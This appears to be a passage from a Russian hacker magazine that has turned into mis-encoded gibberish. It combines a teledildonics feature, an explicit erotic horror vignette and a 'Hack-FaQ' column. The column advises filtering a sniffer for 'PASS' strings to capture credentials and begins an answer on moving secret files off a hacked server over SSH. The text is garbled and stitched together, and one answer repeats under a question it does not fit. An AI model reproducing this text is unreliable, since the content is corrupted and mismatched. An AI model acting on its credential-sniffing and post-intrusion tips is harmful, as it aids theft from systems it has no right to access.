ÏÐÎÂÎÄÎÂ. ÅÑËÈ ÏÅÐÂÛÉ ÏÎÖÅËÓÉ,
ÄÅÉÑÒÂÈÒÅËÜÍÎ, ÌÎÆÍÎ ÑÐÀÂÍÈÒÜ Ñ ÊÎ-
ÐÎÒÊÈÌ ÇÀÌÛÊÀÍÈÅÌ, ÏÐÈ ÊÎÒÎÐÎÌ ÑÃÎÐÀ-
ÞÒ ÂÑÅ ÏÐÅÄÎÕÐÀÍÈÒÅËÈ, ÒÎ ÈÍÒÈÌÍÀß ÔÈ-
ÇÈ×ÅÑÊÀß ÁËÈÇÎÑÒÜ, ÄÎËÆÍÎ ÁÛÒÜ, ÏÎÕÎ-
ÆÀ ÍÀ ÁÅÑÏÎÐßÄÎ×ÍÎÅ ÇÀÌÛÊÀÍÈÅ È ÐÀÇ-
ÌÛÊÀÍÈÅ ÝËÅÊÒÐÈ×ÅÑÊÈÕ ÊÎÍÒÀÊÒÎÂ, ÊÎÃ-
ÄÀ Ó ÑÎÑÅÄÅÉ ÑÍÈÇÓ ÌÈÃÀÅÒ ËÀÌÏÎ×ÊÀ.
ÑÒÐÅÌÈÒÅËÜÍÎÅ ÐÀÇÂÈÒÈÅ ÕÀÉ-ÒÅÊÀ ÎÁÓÑ-
ËÎÂÈËÎ ÏÎßÂËÅÍÈÅ ÒÅËÅÄÈËÜÄÎÍÈÊÈ �
«ÆÅËÅÇÍÎÃÎ» ÑÅÊÑÀ | Àëåêñ Öåëûõ (alex@handyent.com)

Òåëåäèëüäîíèêà, èëè
îðãàçì ÷åðåç èíòåðíåò



ñ ìíîãî÷èñëåííûìè «ìèêðîïðèâîäàìè-ñýíäâè÷à-
ìè». Ïî êàíàëàì GPRS îäåæäà ïðèíèìàåò ñèãíà-
ëû ñåðäöåáèåíèÿ è äàííûå î òåìïåðàòóðå òåëà
ïàðòíåðà, à òàêæå èìèòèðóåò ïðèêîñíîâåíèÿ â çî-
íå ïëå÷, øåè, ñïèíû, òàëèè èëè áåäåð. Â õîäå
ìíîãî÷èñëåííûõ ýêñïåðèìåíòîâ àâòîðàìè áûëè
âûäåëåíû è ñèñòåìàòèçèðîâàíû äåñÿòêè âèäîâ
ïðèêîñíîâåíèé. Â èòîãå, F+R Huge ñïîñîáíà
âîñïðîèçâåñòè äðóæåñêîå ïîõëîïûâàíèå, ïîãëà-
æèâàíèå è ìíîãèå äðóãèå ñïîñîáû âûðàæåíèÿ
ýìîöèé ÷åðåç ôèçè÷åñêèé êîíòàêò.

[plug-and-play] Àëüòåðíàòèâîé «êîñòþìó
Ðåéíãîëäà» ÿâëÿåòñÿ èíòåðôåéñ plug-and-play,
ïðåçåíòàöèÿ êîòîðîãî ñîñòîÿëàñü â 1999 ãîäó
íà ñàéòå SafeSexPlus.com, ïðèíàäëåæàùåì
iFriends.net, êðóïíåéøåìó êýì-áèçíåñó â èíòåð-
íåòå. Àäàïòåð, ðàáîòàþùèé ñ áîëüøèì íàáî-
ðîì «èãðóøåê äëÿ âçðîñëûõ», ïðè öåíå â 30�
100 äîëëàðîâ ïîëüçîâàëñÿ õîðîøèì ñïðîñîì ó
ëþáèòåëåé îíëàéíîâîé «êëóáíè÷êè». Èçÿùíûì
êðîññïëàòôîðìåííûì ðåøåíèåì ñëóæèë îáû÷-
íûé ôîòîäèîä, êîòîðûé êðåïèëñÿ íà ìîíèòîð
ïðè ïîìîùè ïðèñîñêè. Ïàðòíåð ââîäèë IP-àä-
ðåñ, êîííåêòèëñÿ ê ìàøèíå è, äâèãàÿ ïîëçóíêè,
ìåíÿë ÿðêîñòü êâàäðàòà íà ýêðàíå. ×åì ñèëü-
íåå áûëà ÿðêîñòü, òåì ãðîì÷å ðåâåë âèáðàòîð.
Ïðàâäà, ñåðüåçíîé òåõíè÷åñêîé íåäîðàáîòêîé
îêàçàëîñü îòñóòñòâèå îãðàíè÷èòåëåé. Â íåóìå-
ëûõ ðóêàõ óñòðîéñòâî ïðåâðàùàëîñü â íàñòîÿ-
ùåå îðóäèå ïûòîê. Ïðîäàæè äåâàéñà áûëè ïðè-
îñòàíîâëåíû.
Ïðèìåðíî â ýòî æå âðåìÿ äðóãàÿ êîìïàíèÿ,
Digital Sexsations, ïðåäñòàâèëà íåáîëüøóþ êî-
ðîáî÷êó, êîòîðàÿ ïîäêëþ÷àëàñü ê ñòàíäàðòíî-
ìó COM-ïîðòó. Îò îñòàëüíûõ óñòðîéñòâ Black
Box îòëè÷àëîñü ÷åòûðüìÿ âõîäàìè äëÿ øòåêå-
ðîâ, ÷òî äåëàëî âîçìîæíîé ðàáîòó íåñêîëüêèõ
âèáðàòîðîâ îäíîâðåìåííî. Îò ïàðòíåðà òðåáî-
âàëîñü çàïóñòèòü ñïåöèàëüíîå ïðîãðàììíîå
îáåñïå÷åíèå äëÿ ÷àòà è ââåñòè óíèêàëüíûé
èäåíòèôèêàòîð. Ñîôò ïîçâîëÿë îáúåäèíÿòü
ýðîãåííûå çîíû â ãðóïïû, ïèñàòü ìàêðîñû è äà-
âàòü äåéñòâèÿì ïîíÿòíûå íàçâàíèÿ: íåæíîå
ïðèêîñíîâåíèå, ïîöåëóé, ëèçàíèå, ïîñàñûâà-
íèå è ò.ä. Â ðåæèìå îðãèè îáðàáàòûâàëèñü êî-
ìàíäû ñðàçó îò íåñêîëüêèõ ïàðòíåðîâ. Ïîðíîã-
ðàôè÷åñêèå òåêñòû ïðåäëàãàëîñü ðàçìå÷àòü

ñïåöèàëüíûìè òýãàìè òàê, ÷òî ïðè ïîäâåäåíèè êóðñîðà ê ôðàçå âîñïðî-
èçâîäèëèñü îïðåäåëåííûå âèáðàöèè. Ê ñîæàëåíèþ, ðàçðàáîòêà áûëà
äîñòàòî÷íî ñûðîé. Óñòðîéñòâî â ñàìûé íåïîäõîäÿùèé ìîìåíò âäðóã ïå-
ðåçàãðóæàëîñü, à ñîôò ïîñòîÿííî âåøàë èíòåðíåò-áðàóçåð. Íåìíîãèå
îòâàæèëèñü ïåðåæèòü òàêîé ñòðåññ äâàæäû, ïîýòîìó ïðîäàæè óñòðîé-
ñòâà Black Box ïî÷òè òàê æå áûñòðî ñîøëè íà íåò.
Äî íàøèõ äíåé äîòÿíóë, ïîæàëóé, åäèíñòâåííûé àíàëîã Black Box �
àäàïòåð Virtual Sex Machine, âûïóñêàåìûé êîìïàíèåé Virtual Reality
Innovations (www.vrinnovations.com). Îäíàêî ïîìèìî âûñîêîé öåíû â
400 äîëëàðîâ, óñòðîéñòâî èìååò ðÿä ñóùåñòâåííûõ îãðàíè÷åíèé. Îíî
ðàáîòàåò èñêëþ÷èòåëüíî ñ âõîäÿùåé â êîìïëåêò âàêóóìíîé ïîìïîé
äëÿ ìóæñêîãî îðãàíà è íå ïîäðàçóìåâàåò íàëè÷èå ïàðòíåðà. Ýòîò äå-

DVD ñ èíòåðàêòèâíûìè ïðîãðàììàìè äëÿ âëàäåëüöåâ êîñòþìîâ. Îäíà-
êî äàëüíåéøåãî õîäà èäåÿ íå ïîëó÷èëà. Ôåäåðàëüíàÿ êîìèññèÿ Ñîåäè-
íåííûõ Øòàòîâ ïî êîììóíèêàöèÿì ïðåäúÿâèëà ê íîâèíêå òàêèå òðåáî-
âàíèÿ ïî òåõíèêå áåçîïàñíîñòè, âûïîëíèòü êîòîðûå áûëî ôèçè÷åñêè
íåâîçìîæíî. È õîòÿ óæå áûëà îáúÿâëåíà öåíà â 170 äîëëàðîâ, êîñòþì
â ðóêè êîíå÷íûõ ïîòðåáèòåëåé òàê è íå ïîïàë.
Ñåãîäíÿ, ñïóñòÿ íåñêîëüêî ëåò, èíòåðåñ ê «êîñòþìàì îùóùåíèé» ïåðåæè-
âàåò íîâûé ïîäúåì. Äèçàéíåðû íåçàâèñèìî äðóã îò äðóãà ýêñïåðèìåíòèðó-
þò ñ «óìíîé» òêàíüþ, òðàíñëèðóþùåé îùóùåíèÿ «òåëÿ÷üèõ íåæíîñòåé» íà
ðàññòîÿíèè. Ñêðîåííàÿ èç òàêîãî ìàòåðèàëà, îäåæäà íàïè÷êàíà ñåíñîðàìè
è ýëåêòðîíèêîé, êîòîðûå âîññîçäàþò îùóùåíèÿ ôèçè÷åñêîé áëèçîñòè
ïàðòíåðà. Â êà÷åñòâå ïðèìåðà ìîæíî ïðèâåñòè ëàéêðîâóþ áëóçêó F+R Hugs

virtual sex machine òðàíñïîðòèðóåòñÿ â àêêóðàò-
íîì ÷åìîäàí÷èêå
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âàéñ äëÿ ñàìîóäîâëåòâîðåíèÿ
âêëþ÷àåòñÿ â LPT-ïîðò è ðåàãè-
ðóåò íà ñèãíàëû, ñîïðîâîæäàþ-
ùèå âèäåîòðàíñëÿöèþ ñ DVD.
Äåéñòâèÿ àêòðèñ íà ýêðàíå ñèíõ-
ðîíèçèðîâàíû ñ äâèæåíèÿìè
ïîðøíÿ, ÷òî äîëæíî ñîçäàâàòü
îùóùåíèå ïîëíîé ðåàëüíîñòè.
Êîëëåêöèÿ âèäåî ðåãóëÿðíî îá-
ðàñòàåò íîâèíêàìè, çà êàæäóþ èç
êîòîðûõ ïðèäåòñÿ âûëîæèòü ïî
40 äîëëàðîâ. Íî, ñóäÿ ïî îáíîâ-
ëåíèÿì íà âåá-ñàéòå, êîìïàíèÿ
óæå äàâíî äûøèò íà ëàäàí.

[ïîëíàÿ ðåàëèñòè÷íîñòü] Ñ òåõíè÷åñêîé òî÷êè çðåíèÿ, âñåõ îáñêàêà-
ëà êîìïàíèÿ Sinulate Entertainment (www.sinulate.com). Óñòðîéñòâî The
Sinulator ñîñòîèò èç äâóõ áåñïðîâîäíûõ ïðèåìîïåðåäàò÷èêîâ: îäèí ïîäñî-
åäèíÿåòñÿ ê âèáðàòîðó, âòîðîé � ê òà÷êå ïî øèíå USB. Ýòî ñðàçó ðàçäâè-
íóëî ãðàíèöû «ðàáî÷åé çîíû» äî 20 ìåòðîâ è ïîçâîëèëî íå ïóòàòüñÿ â ïðî-
âîäàõ. Äâèæåíèÿìè âèáðàòîðà ìîæíî óïðàâëÿòü ñ «êîìàíäíîãî ïóíêòà»,
èñïîëüçóÿ ìóëüòÿøíûé Flash-èíòåðôåéñ, î÷åíü íàïîìèíàþùèé âèäåîèãðó.
Òàêàÿ ðåàëèçàöèÿ ïîçâîëÿåò «âñòóïàòü â êîíòàêò» ñ ëþáîãî óñòðîéñòâà,
èìåþùåãî âûõîä â èíòåðíåò, íàïðèìåð, ñ íàëàäîííèêà Palm Treo. Íàó÷åí-
íûå íà îøèáêàõ ïðåäøåñòâåííèêîâ, àâòîðû ïðåäóñìîòðåëè íåêîòîðûå ïî-
ëåçíûå íàñòðîéêè íà ïðèíèìàþùåé ñòîðîíå. Â ÷àñòíîñòè, ìîæíî óñòàíî-
âèòü ïðåäåë èíòåíñèâíîñòè âðàùåíèÿ. Ïîñëåäíÿÿ ðàçðàáîòêà êîìïàíèè �

óñòðîéñòâî Interactive
Fleshlight, îòäàþùàÿ
èíèöèàòèâó ìóæ÷èíå.
Íèêàêîãî ýêðàííîãî
èíòåðôåéñà. Ðèòìè÷-
íûå äâèæåíèÿ òåëîì
çàñòàâëÿþò âèáðàòîð
âðàùàòüñÿ áûñòðåå.
Ïî ñóòè, ýòî ïðàêòè÷åñ-
êàÿ ðåàëèçàöèÿ âû-
ìûøëåííîãî óñòðîé-
ñòâà FuckU-FuckMe
(www.fu-fme.com), êî-
òîðîå ðàáîòàëî â ïÿòè-
äþéìîâîì îòñåêå ñèñ-
òåìíîãî áëîêà. The
Sunulator ïðîäàåòñÿ ïî
öåíå îò 150 äîëëàðîâ
çà áàçîâóþ ìîäåëü.

Âîçìîæíîñòåé äëÿ àïãðåéäà � ìàñ-
ñà. Íà âûáîð ïðåäëàãàþòñÿ äåñÿòêè
èíòåðàêòèâíûõ âèäåîôèëüìîâ è
òðåõìåðíûõ èãð, ðåàëèçóþùèõ íå-
âåðîÿòíûå ñåêñóàëüíûå ôàíòàçèè. 

Òåì âðåìåíåì, àíãëèéñêèé èíæå-
íåð Äîìèíèê Êðîó ïðîäîëæàåò
ðàáîòó íàä ýêñïåðèìåíòàëüíûì
ðîáîòîì-ìàíåêåíîì èç ýëàñòè÷-
íîãî ìàòåðèàëà. Âçÿò êóðñ íà
óëüòðàðåàëèñòè÷íîñòü. Ìèêðî-
ìîòîð÷èêè ïðèâîäÿò â äâèæåíèå
÷àñòè òåëà, à âñòðîåííûå äèíà-
ìèêè âîñïðîèçâîäÿò ÷åëîâå÷åñ-
êóþ ðå÷ü. Ìîæíî è ïðîñòî íàäåòü
øëåì âèðòóàëüíîé ðåàëüíîñòè,
ïðåäñòàâèòü äåâóøêó ñâîåé ìå÷-
òû è ñîâåðøåííî çàáûòü î òîì,
÷òî ïîä òîáîé îáû÷íàÿ ðåçèíî-
âàÿ êóêëà.
Íàïîìíþ, ÷òî ýòèì ëåòîì íà
DorkBot (www.dorkbot.org) ñîñ-
òîÿëñÿ ïåðâûé îòêðûòûé ñåàíñ
òåëåäèëüäîíèêè, âî âðåìÿ êîòî-
ðîãî ïðèñóòñòâóþùèå óïðàâëÿ-
ëè ðàáîòîé àäñêîé ñåêñ-ìàøè-
íû Thrillhammer. Ìåõàíè÷åñêèé
ïîðøåíü ðàçäèðàë æèâóþ äå-
âóøêó çà 4000 êèëîìåòðîâ îò
çàëà çàñåäàíèÿ. Âïåðåäè íîâûå
«èçâðàùåíèÿ» è ñåíñàöèè. À ïî-

êà, íå òåðÿÿ âðåìåíè, ãàñè ýêðàí è îòïðàâëÿéñÿ ê ïîäðóæêå. Îíà âåäü
óæå íàøëà ÷òî-òî â ëþáîâè-ìîðêîâè ñ õàêåðîì
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«2048», ÌÌÅÐÑÈ ØØÅËËÈ
� Ìåíÿ çîâóò Ýëèçà Ãàìèëüòîí. Âàì ñëó÷èëîñü îñòàíî-
âèòüñÿ ó ìîåãî ïîòàåííîãî óãîëêà, íî âû íå ïîõîæè íè íà
ìîèõ äåòåé, íè íà ìîèõ ìóæåé... õîòÿ ïîñëåäíèõ ÿ ïîìíþ
ãîðàçäî õóæå, õà-õà! Ïðàâäà, âû íåìíîãî ïîõîæè íà Ãåíðè.
Åãî ÿ ïîìíþ õîðîøî, âåäü èìåííî èç-çà íåãî ÿ ïîïàëà íà
êëàäáèùå. Ñóä îïðàâäàë åãî � íî íå ÿ. ß-òî ïîìíþ, êàê
åãî áåñèëî ìîå óâëå÷åíèå ìóëüòèêàíàëüíîé òåëåäèëüäîíè-
êîé. À ýòè åæåäíåâíûå ñêàíäàëû ñ óãðîçàìè! Ýòè ïóáëè÷-
íûå îáâèíåíèÿ â òîì, ÷òî ÿ äåìîíñòðèðóþ ñâîè äèãèòàëèè
âñåé Ñåòè! Ñóäó,
âèäèòå ëè, íåäîñ-
òàòî÷íî ïîäîá-
íûõ óëèê. Íî êòî
æå åùå, êðîìå
Ãåíðè, ìîã âíåñòè
èçìåíåíèÿ â
íàñòðîéêè ìîåãî
ýðîáîòà? Çíàë,
íåãîäÿé, ÷òî ó ìå-
íÿ áîëüíîå ñåðä-
öå, è ÷òî ýðîáîò â
òàêîì ðåæèìå
çàòðàõàåò ìåíÿ
äî ñìåðòè!

íà êîìàíäíîì ïóíêòå sinulator ó ìíîãèõ íàïðî÷ü ñíîñèò áàøíþ

òàê òåëåäèëüäîíèêà ïðåäñòàâëåíà â ãàëåðåå HERE

ëåãåíäàðíûé FuckU-FuckMe â ìîäåëÿõ äëÿ
ìóæ÷èí è æåíùèí





QQ:: ÐÐààññññêêààææèè ïïððîî ííîîââûûéé ññïïîîññîîáá ääîîááûû÷÷èè êêððååääèèòòîîêê ÷÷ååððååçç ôôààêêññ!!
A: Íà ôàêñå, êàê è íà ïðèíòåðå, ìîæíî ðàñïå÷àòûâàòü âñå
íåîáõîäèìîå, â òîì ÷èñëå è ëèñòèíãè êðåäèòíûõ êàðò :).
Åñëè æå ðå÷ü èäåò î ìåíåå ïðèìèòèâíîé îõîòå íà êðåäû,
òî ÿ âñïîìíþ ïîñëåäíèé phishing-ñêàíäàë, êîãäà çëîó-
ìûøëåííèêè ðàññûëàëè ñïàì îò èìåíè àäìèíèñòðàöèè
eBay ñ ïðîñüáîé çàïîëíèòü web-ôîðìó (çàëèòü èíôó ïî

CC, äàòó ðîæäåíèÿ, SS-íîìåð), ðàñïå÷àòàòü îíóþ è îòïðà-
âèòü íà toll-free ôàêñ. Ïîêà íå èçâåñòíî, ñêîëüêî óøàñòûõ
ïîâåëèñü íà ðàçâîäêó, íî ñàì ïðåöåäåíò èñïîëüçîâàíèÿ
ôàêñà � çàíèìàòåëåí.

QQ:: ÑÑêêîîëëüüêêîî ììààêêññèèììààëëüüííîî êêððååääèèòòîîêê óóääààëëîîññüü óóêêððààññòòüü õõààêêååððààìì??
A: Âîðîâñòâîì êðåäèòîê èç êàðìàíîâ è êîøåëüêîâ çàíè-
ìàþòñÿ êàðìàííèêè, ñîâñåì íå õàêåðû. Ïóáëè÷íî èçâå-
ñòíî, ÷òî õàêåðû óñïåëè ñòÿíóòü èíôó ïî 40 ìèëëèîíàì
àêêàóíòîâ èç ñèñòåìû ïðîöåññèíãà CardSystems â ìàå.
Êàê ìèíèìóì, 68 òûñÿ÷ êàðò áûëî ñíÿòî ó MasterCard,
ñêîëüêî æèâûõ êàðò ñêðûâàëîñü çà óêàçàííûìè âûøå
àêêàóíòàìè � íå çíàåò íèêòî. Ôèðìà îáñëóæèâàåò áî-
ëåå 105 òûñÿ÷ ñðåäíèõ è êðóïíûõ ôèðì, âîâëå÷åííûõ â
òîðãîâëþ. Ïîäîáíûé ñëó÷àé � äàëåêî íå ïåðâûé â èñòî-
ðèè ôèíàíñîâîãî ìîøåííè÷åñòâà. Òàê, ó Amertrade áûëè
óêðàäåíû backup-äèñêè ñ èíôîé ïî 200 òûñÿ÷àì àêêàóí-
òîâ. Citibank è Bank of America òàêæå ïîòåðÿëè îïåðàòèâ-
íûå çàïèñè ïî 3.9 è 1.2 ìèëëèîíàì àêêàóíòîâ. Ñåé÷àñ
ðàññìàòðèâàþòñÿ âàðèàíòû ââåäåíèÿ óãîëîâíîé îòâåò-
ñòâåííîñòè äëÿ ðàáîòíèêîâ áàíêîâ, ÷üè çàïèñè ìîãëè ïî-
ïàñòü òðåòüèì ëèöàì.

QQ:: ßß ííåå õõîî÷÷óó,, ÷÷òòîîááûû GGmmaaiill ññîîõõððààííÿÿëë ââññåå ììîîèè ååììååééëëûû ââ ààððõõèèââ
ïïîîññëëåå óóääààëëååííèèÿÿ.. ÊÊààêê ååããîî îîòòóó÷÷èèòòüü îîòò ýýòòîîéé ääóóððííîîéé ïïððèèââûû÷÷êêèè,,
ïïððèèóó÷÷èèòòüü êê ììããííîîââååííííîîììóó óóääààëëååííèèþþ??
A: Äåéñòâèòåëüíî, íà ïîâåðõíîñòè àêêàóíòà íàõîäèòñÿ ëèøü
êíîïà «Archive», êîãäà êàê Delete ìîæíî äîñòàòü òîëüêî èç
õèòðîóìíîãî ìåíþ, äî êîòîðîãî åùå ïîëçòè è ïîëçòè. ß ëè÷íî
ðåøèë ïðîáëåìó óñòàíîâêîé ñïåöèàëüíîãî ðàñøèðåíèÿ â ìîé
FireFox-áðàóçåð � Greasemonkey (greasemonkey.mozdev.org),

êîòîðîå ïîçâîëÿåò èçìåíÿòü ïðîñìàòðèâàåìûå ñòðàíèöû,
äîáàâëÿòü íåîáõîäèìûé DHTML-êîä. Óñòàíîâèì òóëçó, çà-
ëèâ ñêðèïò (http://kuru4u.spymac.com/scripts/Gmail_Smart-
Delete_Button.user.js). Òåïåðü òû çàèìååøü ñïåöèàëüíóþ
êíîïó SmartDelete, êîòîðàÿ áóäåò âîçíèêàòü ëèøü ïðè ïîñå-
ùåíèè ñòðàíèö Gmail'a. Òåïåðü âñå ìûëî ìîæíî óäàëÿòü îä-
íèì ùåë÷êîì, áåç ëàçàíèÿ ïî ìåíþ.

QQ:: ÊÊààêêèèìì ââèèððóóññîîìì ììîîææííîî ççààððààççèèòòüü èèííòòååððààêêòòèèââííûûéé øøååëëëë ííîî-
ââîîéé WWiinn VViissttaa??
A: Äà, íå òàê äàâíî íàñòàëî âðåìÿ ìåíÿòü èìåíà, è Windows
Longhorn îáðàòèëñÿ â Vista. Ñðåäè íîâîââåäåíèé îïåðàöè-
îíêè îæèäàëàñü è MSH-ñèñòåìà òîãî ñàìîãî èíòåðàêòèâíî-
ãî êîäà, òàêæå èçâåñòíàÿ ïîä êëè÷êîé Monad. Îäíàêî íå-
äàâíî ñòàëî èçâåñòíî, ÷òî íîâîââåäåíèå íå âîéäåò â îñíîâ-
íóþ ïîñòàâêó Vist'û, íî áóäåò âêëþ÷åíî â íîâûé Microsoft
Exchange. Ïóãàòüñÿ íåäàâíî íàøóìåâøåãî Monad-çàðàæà-
þùåãî çâåðÿ Danom (www.f-secure.com/v-descs/danom.shtml)
íå ñòîèò. Áîÿòüñÿ ñëåäóåò, êîãäà ëóêàâûé çàñòàâèò ïîñòà-
âèòü MSH-òåìó. 

QQ:: ÌÌîîææííîî ïïîîëëóó÷÷èèòòüü ññððîîêê ççàà wwaarrddrriivviinngg??
A: Óæå áûëî îòêðûòî íåñêîëüêî óãîëîâíûõ äåë, â
êîòîðûõ  ôèãóðèðîâàëî íåñàíêöèîíèðîâàííîå ïîäêëþ-
÷åíèå ê Wi-Fi ñåòè. Îäíàêî âîâñå íå ñêàíèðîâàíèå è
èñïîëüçîâàíèå ÷óæîãî êàíàëà ñòàëî ïðè÷èíîé óãîëîâ-
êè, âî âñåõ ñëó÷àÿõ ïðîáëåìû ïðîèñõîäèëè èç-çà äàëü-
íåéøèõ äåéñòâèé õàêåðîâ � çàõâàòà ñåòåé è ñëèâà çà-
ñåêðå÷åííîé èíôîðìàöèè. Íåäàâíî æå îôîðìèëîñü
äåëî, ïî ðåçóëüòàòàì êîòîðîãî, íàðóøèòåëü ïîëó÷èë
óñëîâíûé ñðîê è çàïëàòèë øòðàô â ðàçìåðå 500 ôóí-
òîâ ñòåðëèíãîâ çà ýêñïëóàòàöèþ ÷óæîãî bandwith'a áåç
âåäîìà õîçÿèíà. Ïåðåö ñ ïîëüñêîé ôàìèëèåé ïðîñòî
åçäèë íà âåëîñèïåäå ïî Ëîíäîíó, íèêîìó íå ìåøàë è
ëèøü òèõîíüêî èñêàë äîñòóï ê ÷óæîìó AP. Ðåøåíèþ ñó-
äà ïîìîã Communication Act, ïðèíÿòûé çàêîíîäàòåëÿìè
Âåëèêîáðèòàíèè â 2003 ãîäó. Õîòü è áûëî äîêàçàíî, ÷òî
ó Wi-Fi-íåãîäÿÿ íå áûëî çëîãî óìûñëà, ñóä îòêàçàëñÿ ïå-
ðåñìàòðèâàòü ñâîé âåðäèêò.Þ
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FAQÑOMMENTS
SideX 
(hack-faq@real.xakep.ru)

HaCK-FaQ

ÁÓÄÜ ÊÎÍÊÐÅÒÍÛÌ È ÇÀÄÀÂÀÉ
ÊÎÍÊÐÅÒÍÛÅ ÂÎÏÐÎÑÛ! ÑÒÀÐÀÉÑß

ÎÔÎÐÌÈÒÜ ÑÂÎÞ ÏÐÎÁËÅÌÓ ÌÀÊÑÈÌÀËÜ-
ÍÎ ÄÅÒÀËÜÍÎ ÏÅÐÅÄ ÏÎÑÛËÊÎÉ Â HACK-
FAQ. ÒÎËÜÊÎ ÒÀÊ ß ÑÌÎÃÓ ÄÅÉÑÒÂÈÒÅËÜ-
ÍÎ ÏÎÌÎ×Ü ÒÅÁÅ C ÎÒÂÅÒÎÌ, ÓÊÀÇÀÒÜ ÍÀ

ÂÎÇÌÎÆÍÛÅ ÎØÈÁÊÈ. ÎÑÒÅÐÅÃÀÉÑß ÎÁ-
ÙÈÕ ÂÎÏÐÎÑÎÂ,  ÂÐÎÄÅ «ÊÀÊ ÂÇËÎÌÀÒÜ
ÈÍÒÅÐÍÅÒ?», ÒÛ ÒÎËÜÊÎ ÏÎÒÐÀÒÈØÜ ÏÎ×-
ÒÎÂÛÉ ÒÐÀÔÈÊ. ÒÐßÑÒÈ ÈÇ ÌÅÍß ÔÐÈØÊÈ
(ÈÍÅÒ, ØÅËËÛ, ÊÀÐÒÛ) � ÍÅ ÑÒÎÈÒ, ß ÑÀÌ
ÆÈÂÓ ÍÀ ÃÓÌÀÍÈÒÀÐÍÓÞ ÏÎÌÎÙÜ.
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QQ:: ÑÑòòààëë ññííèèôôààòòüü îîääííóó ññååòòêêóó,, ííîî ììîîììååííòòààëëüüííîî óóòòîîííóóëë ââ ïïîîòòîîêêåå ääààíí-
ííûûõõ.. ÊÊààêê ììííåå ïïîîëëóó÷÷ààòòüü èèííôôóó ëëèèøøüü ïïîî ííóóææííûûìì ññååððââèèññààìì??
A: Áîëüøèíñòâî ñîâðåìåííûõ ñíèôåðîâ ïðåäóñìàòðèâàþò
ôèëüòðàöèþ ïîòîêà äàííûõ, îòáîð èíôû ëèøü ïî âûáðàííûì
íàïðàâëåíèÿì. Âîçüìåì, ê ïðèìåðó, ïîïóëÿðíûé ñåãîäíÿ êîì-
ìåð÷åñêèé âàðèàíò ïðîäóêòà � EtherScan Analyzer (www.ether-
scan.com). Çäåñü íóæíî ëèøü âûáðàòü çàêëàäî÷êó Filter è óêà-
çàòü íóæíûé ñåðâèñ, FTP, ê ïðèìåðó. Äëÿ ñîêðàùåíèÿ îáúåìà
äàííûõ, ñêëàäûâàåìûõ â ëîã, ìîæíî ïðèçâàòü íà ïîìîùü îï-
öèþ Words. Ñ åå ïîìîùüþ áóäóò çàïèñûâàòüñÿ ëèøü ñàìûå ëà-
êîìûå êîìáèíàöèè ñëîâ, äîáàâèâ íå÷òî, âðîäå «PASS». Àíà-
ëîãè÷íûì îáðàçîì ðåøàåòñÿ âîïðîñ è ñ äðóãèìè ïðåäñòàâèòå-
ëÿìè ñåìåéñòâà. 

QQ:: ÕÕîî÷÷óó ââññåå ïïààêêîîññòòèè òòââîîððèèòòüü ññîî ññúúååììííîîéé ôôëëååøøêêèè-ááððååëëêêàà.. ÌÌîîææííîî
ëëèè òòóóääàà ââêêàà÷÷ààòòüü ööååëëóóþþ îîïïååððààööèèîîííêêóó
A: Áîëüøèíñòâî ñîâðåìåííûõ ñíèôåðîâ ïðåäóñìàòðèâàþò ôèëüò-
ðàöèþ ïîòîêà äàííûõ, îòáîð èíôû ëèøü ïî âûáðàííûì íàïðàâëå-
íèÿì. Âîçüìåì, ê ïðèìåðó, ïîïóëÿðíûé ñåãîäíÿ êîììåð÷åñêèé âà-
ðèàíò ïðîäóêòà � EtherScan Analyzer (www.etherscan.com). Çäåñü
íóæíî ëèøü âûáðàòü çàêëàäî÷êó Filter è óêàçàòü íóæíûé ñåðâèñ,
FTP, ê ïðèìåðó. Äëÿ ñîêðàùåíèÿ îáúåìà äàííûõ, ñêëàäûâàåìûõ
â ëîã, ìîæíî ïðèçâàòü íà ïîìîùü îïöèþ Words. Ñ åå ïîìîùüþ áó-
äóò çàïèñûâàòüñÿ ëèøü ñàìûå ëàêîìûå êîìáèíàöèè ñëîâ, äîáà-
âèâ íå÷òî, âðîäå "PASS". Àíàëîãè÷íûì îáðàçîì ðåøàåòñÿ âîïðîñ
è ñ äðóãèìè ïðåäñòàâèòåëÿìè ñåìåéñòâà. 

QQ:: ÊÊààêê ììîîææííîî îîááîîððîîííÿÿòòüüññÿÿ îîòò pphhiisshhiinngg''aa??
A: Íåêîãäà ñ ýòèì ìîãëè ïîëó÷èòüñÿ ïðîáëåìû, íî óæå ñåãîäíÿ
âîïðîñ ðåøàåòñÿ óñòàíîâêîé ïðîñòîé óòèëèòû � FlashBoot. Òóëçà,
óâû, ïëàòíàÿ è äîñòóïíàÿ äåìêà îêàçûâàåòñÿ ìàëîïîëåçíà. Ëèíê
íà ðàáî÷óþ âåðñèþ îáû÷íî ìîæíî ðàçûñêàòü íà ïðîñòîðàõ
Googl'a. Ñ ïîìîùüþ ýòîé ïðîãðàììû òû ñìîæåøü ñäåëàòü ôëåø-
êó çàãðóçî÷íîé è ïåðåòàùèòü òóäà âñå êëþ÷åâûå ôàéëû ñ ïðèâû÷-
íîãî íîñèòåëÿ, âðîäå CD.

QQ:: ÏÏîîääòòûûððèèëë ââèèííòò ññ ááààççîîéé ääààííííûûõõ,, ííîî ââîîòò ááååääàà �� òòààìì ññòòîîèèòò LLiinnuuxx,,
àà óó ììååííÿÿ ííèèêêààêê ððóóêêèè ííåå ääîîõõîîääÿÿòò ïïîîññòòààââèèòòüü ýýòòóó ññèèññòòååììóó.. ÌÌîîææííîî ëëèè
êêààêê-òòîî ïïååððååááððîîññèèòòüü ääààííííûûåå îîòòòòóóääàà ââ WWiinn??
A: Âåðîÿòíî, ìû èìååì äåëî ñ äèñêîâûì ðàçäåëîì ext2/ext3, íà ïî-
ìîùü ìîæåò ïðèéòè Freeware Ext2/Ext3 Driver (www.fs-driver.org),
çàïèñàííûé íà îñíîâå Microsoft Installable Filesystem SDK. Òåïåðü
òû ñìîæåøü ÷èòàòü «ëèíóêñîâûå» äèñêè è çàïèñûâàòü èíôó òóäà.
Îêàæåòñÿ äîñòóïíûì âñå, êðîìå èçìåíåíèÿ ïðàâ äîñòóïà.

QQ:: ÂÂççëëîîììààëë îîääííóó òòàà÷÷êêóó,, ííîî ääîîññòòóóïï èèììååååòòññÿÿ ëëèèøøüü ïïîî SSSSHH.. ÊÊààêê ææåå
îîòòòòóóääàà ññòòààùùèèòòüü èèññêêîîììûûåå ññååêêððååòòííûûåå ììààòòååððèèààëëûû??
A: Ñàìûé ëàêîíè÷íûé ñïîñîá � èñïîëüçîâàòü âñòðîåííûé ftp-êëè-
åíò, êîòîðûé îêàæåòñÿ äîñòóïåí òåáå êàê ëîêàëüíîìó ïîëüçîâàòå-
